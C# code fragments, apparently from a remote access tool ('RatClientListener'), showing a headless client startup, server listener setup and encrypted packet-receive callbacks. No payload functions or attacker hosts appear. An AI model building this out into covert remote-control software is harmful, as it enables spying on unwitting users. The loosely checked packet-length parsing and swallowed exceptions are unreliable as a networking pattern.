static void Main() { SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding); if (LoadFeatures.Load() == false) { return; } ClientPacketProcessor.Initialize(); Client = new ClientConnect(); FileClientPacketProcessor.Initialize(); FileTransferConnect _FileTransfer = new FileTransferConnect(); Application.Run(); }
private void Form1_Load(object sender, EventArgs e) { //Events ClientDisconnectEvent.ClientDisconnect += new ClientDisconnectHandler(onClientDisconnect); CheckForIllegalCrossThreadCalls = false; settings.MainForm = this; _listener = new List <RatClientListener>(); _FileListener = new List <FileClientListener>(); maxConnections = new MaxConnections(); File_maxConnections = new File_MaxConnections(); ClientPacketProcessor.Initialize(); FileClientPacketProcessor.Initialize(); }
private void Client_BeginReceive(IAsyncResult ar) { //try //{ if (_client.EndReceive(ar) > 0) { _buffer = new byte[BitConverter.ToInt16(_buffer, 0) - 2]; if (_buffer.Length > 10000) //ignore packets that are bigger then 10kb { return; } if (_buffer.Length > 0) { _client.Receive(_buffer, 0, _buffer.Length, SocketFlags.Partial); _buffer = CryptEngine.Crypt(_buffer); //Process the packet. Type pck = FileClientPacketProcessor.ProcessPacket(_buffer); if (pck != null) { ReceiveBasePacket rbp = (ReceiveBasePacket)Activator.CreateInstance(pck, this, _buffer); rbp.Run(); } Read(); return; } } //} //catch //{ // if(!_client.Connected) // TryToConnect(); //} }
private void ReadCallbackStatic(IAsyncResult ar) { try { if (_socket.EndReceive(ar) > 1) { if (_FloodProtector.HandleFlood(_socket.RemoteEndPoint) == false) { //Disconnect(); //return; } //Get length from the buffer, convert to Int16 and read the rest of the packet. if (_buffer[0] == 0 && _buffer[1] == 0) { Read(); return; } try { _buffer = new byte[BitConverter.ToInt16(_buffer, 0) - 2]; } catch { //Sometimes here is a error because the first 2 bytes are '0' //I really don't know how to fix that... so lets ignore it :P } if (_buffer.Length > 0) { settings.ReceivedPackets++; _socket.Receive(_buffer, _buffer.Length, SocketFlags.Partial); _buffer = CryptEngine.Crypt(_buffer, NetworkKey); Type pck = FileClientPacketProcessor.ProcessPacket(_buffer, _socket.RemoteEndPoint.ToString()); if (pck != null) { ReceiveBasePacket rbp = (ReceiveBasePacket)Activator.CreateInstance(pck, this, _buffer); rbp.Run(); } else { //unknown packet received //Disconnect(); Read(); return; } Read(); return; } else { //Disconnect when no length is given... maybe flood? just disconnect :P //Disconnect(); Read(); return; } } else { //Disconnect(); Read(); return; } } catch { //if(!_socket.Connected) // Disconnect(); Read(); return; } }